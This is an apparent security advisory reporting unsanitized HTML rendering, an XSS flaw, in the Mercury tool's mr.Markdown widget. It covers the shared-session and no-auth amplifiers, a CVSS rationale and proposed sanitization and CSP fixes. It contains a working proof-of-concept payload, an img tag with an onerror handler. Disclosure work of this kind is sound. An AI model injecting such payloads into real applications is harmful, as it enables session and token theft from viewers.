Amplifier — session sharing (--keep-session). Mercury can serve one shared kernel session to all viewers (mercury run … --keep-session, README "Arguments": "share the same session between multiple users … others will see this"). It is opt-in and defaults to off (keepSession=False in mercury_app/handlers.py), so it is not required for the base case — any app that renders one user's untrusted data to another user is already vulnerable. When enabled, content one viewer submits is rendered into the session other viewers see, extending this to cross-user delivery. Authentication is opt-in and off by default: a free password gate exists (mercury run … --pass=…, README), while user-based authentication is a paid add-on. Because auth is off unless the operator enables it, unauthenticated public deployments — where the attacker needs no account — are a realistic default.

Proof of Concept

import mercury as mr

# Value that would realistically arrive from untrusted data (DB row, form field,
# uploaded file, API/LLM response):
untrusted = '<img src=x onerror=alert(String.fromCharCode(88,83,83))>'

mr.Markdown(untrusted)   # rendered to raw HTML, unsanitized, into the app DOM

The generated widget HTML contains the payload verbatim; when the widget is displayed, the onerror handler runs.

What was confirmed (and how)

• Confirmed by execution in a real browser (sink level): driving the actual python-markdown output into the same ipywidgets.HTML value sink the widget uses causes the payload to execute in headless Chromium. Execution was captured via Playwright's dialog event (which fires only on a genuine alert(), so the mere presence of the string in the HTML cannot cause a false positive). A benign control (**hello**) produced zero dialogs, confirming the harness reports only real execution. python-markdown passes <img src=x onerror=…> through verbatim by default (behavior is not version-specific).
• Reasoned from source (not executed end-to-end): the full path from a mr.Markdown(...) call in a served Mercury app to a viewer's DOM was not run end-to-end, because no isolated container/VM was available in the reporting environment. Because MarkdownWidget is the ipywidgets.HTML sink above and Mercury's frontend applies no sanitizer to widget HTML values (the only frontend sanitizer strips notebook metadata at save time), the served-app path is expected to behave identically. Reproduce end-to-end before publishing if you want the advisory to state full-path browser confirmation.

Impact

Mercury shares notebooks as web apps/dashboards, often for non-technical audiences. When an app renders untrusted data through mr.Markdown, the generated page carries attacker-controlled script that runs in the browser of any other viewer, in the app origin — enabling session/cookie/token theft, UI spoofing and forced actions as the victim, and pivoting within the hosting origin. With --keep-session, this extends to cross-user delivery within a shared session.

Severity rationale (CVSS 3.1 per-metric)

Base score reflects the realistic default: an unauthenticated deployment whose app renders untrusted data via mr.Markdown.

| Metric | Value | Reason | |---|---|---| | AV Attack Vector | Network (N) | App is served over HTTP to remote users. | | AC Attack Complexity | Low (L) | No special conditions or race; supply data that reaches an mr.Markdown call. | | PR Privileges Required | None (N) | Baseline: the injection channel (public form/upload/API) needs no account; auth is optional/paid. See variant below. | | UI User Interaction | Required (R) | A victim must open/view the app page for the stored payload to run. | | S Scope | Changed (C) | The vulnerable component (server-side widget render) injects script that executes in a different security authority — the victim's browser session/origin. (This is the canonical XSS scoping in the CVSS 3.1 spec.) | | C Confidentiality | Low (L) | Script can read data/session material available to the app origin; scored L (not H) for a generic app without asserting full account takeover. | | I Integrity | Low (L) | Script can alter the page and act as the victim within the app; scored L generically. | | A Availability | None (N) | No direct availability impact. |

Result: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1 (Medium).

Deployment-dependent variants (state your environment's when filing):

• Injection channel requires an authenticated low-privilege user → PR:L → …/PR:L/UI:R/S:C/C:L/I:L/A:N = 5.4.
• App origin exposes high-value auth material such that XSS yields full session/account takeover → C:H/I:H raises the score; justify per deployment rather than claiming it universally.

Remediation

Primary — sanitize by default in mr.Markdown, with an explicit opt-out for the deliberate raw-HTML use case (backward-compatible, non-breaking):

# mercury/md.py
def _to_html(self, text: str, unsafe_allow_html: bool = False) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)
    else:
        body = f"<pre>{escape(text)}</pre>"
    if not unsafe_allow_html:
        # allowlist tags/attributes; strip javascript:/data: schemes and event handlers
        body = nh3.clean(body)            # or bleach.clean(..., strip=True)
    return self._apply_inline_theme(body)

Expose unsafe_allow_html=False on mr.Markdown(...) so authors who deliberately embed trusted raw HTML can opt in, while the default is safe. This mirrors the convention used by comparable tools (e.g. Streamlit's unsafe_allow_html).

Defense-in-depth: since widget HTML values are written via innerHTML without sanitization, consider sanitizing widget HTML values at the frontend before they reach the DOM, and/or serving a Content-Security-Policy that forbids inline event handlers, so a single missed sink is not immediately exploitable.

Additional hardening (secondary — not the reported vulnerability)

Several widget ESMs write the label with innerHTML, e.g. mercury/text.py topLabel.innerHTML = model.get("label") || … (same shape in number.py, time.py, date/datetime/daterange/select/json/file, and indicator.py's _card_html). This is not an attacker→victim XSS path: labels are static strings set by the app author in Python; URL/url_params overrides affect only widget value (assigned via the safe input.value property), never label, so there is no end-user/URL route into a label. It is a defense-in-depth / author footgun only. Recommended regardless: render UI strings with textContent, or html.escape labels, so output encoding is applied uniformly.